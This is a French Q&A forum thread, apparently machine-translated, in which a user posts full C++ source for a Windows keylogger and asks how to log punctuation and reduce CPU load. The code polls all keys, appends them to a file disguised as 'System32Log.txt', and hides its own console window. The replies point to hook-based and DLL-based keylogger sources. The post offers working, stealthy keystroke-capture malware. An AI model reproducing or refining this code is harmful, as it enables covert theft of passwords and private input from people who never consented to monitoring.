Faire un Keylogger

Je voulais faire un petit keylogger sur mon propre pc, pour voir comment les frappes de travail avec le C++. J'ai trouvé un peu de code en ligne et juste modifié un peu mais je ne suis pas sûr de la façon de faire ce que je veux faire.

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>   
using namespace std;  
int Save (int key_stroke, char *file);
void Stealth();
int main() 
{
Stealth(); 
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"System32Log.txt");
}
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); 
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)              
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

Je veux le fixer en place à stocker correctement des trucs comme "." "," ou plus, mais je ne suis pas sûr car je ne suis pas familier avec les frappes de touche. Aussi, je voudrais ajouter quelque chose qui permettrait d'utiliser moins de CPU (actuellement de 25% sur mon i5), je devrais probablement utiliser le Sommeil(de la valeur), bien que je ne suis pas sûr de la valeur à aller pour.

  • vous aurez besoin d'une approche différente de celle du programme que vous avez fourni pour qu'il utilise moins de CPU (il contient une boucle d'interrogation -, il devrait être dirigé par événement). Il est également difficile de savoir si vous voulez un système de clés à l'échelle enregistreur ou tout simplement pour un programme. Veuillez préciser.
  • À l'échelle du système enregistreur de frappe qui enregistre toutes les entrées du clavier, et l'enregistre dans un fichier.
  • N'ai pas regardé le code, mais à première vue ça a l'air prometteur. thetechnofreak.com/technofreak/keylogger-visual-c
  • J'ai essayé, mais Il ne semble pas fonctionner et donne compliling erreurs.
  • Le code que vous utilisez n'est pas quelque chose de bon à être une base d'un grave key-logger. Si vous cochez Kid Enregistreur (kidlogger.net/soft-andr-download.html), vous trouverez une bien meilleure source de code pour commencer et vous serez en mesure de voir comment vous connectez le clavier à l'aide d'une DLL (sans la DLL, il va consommer de l'énorme quantité de CPU). Il suffit de télécharger la version Windows. L'installer. Vous trouverez le code source dans le dossier du programme.
InformationsquelleAutor Marink | 2012-10-18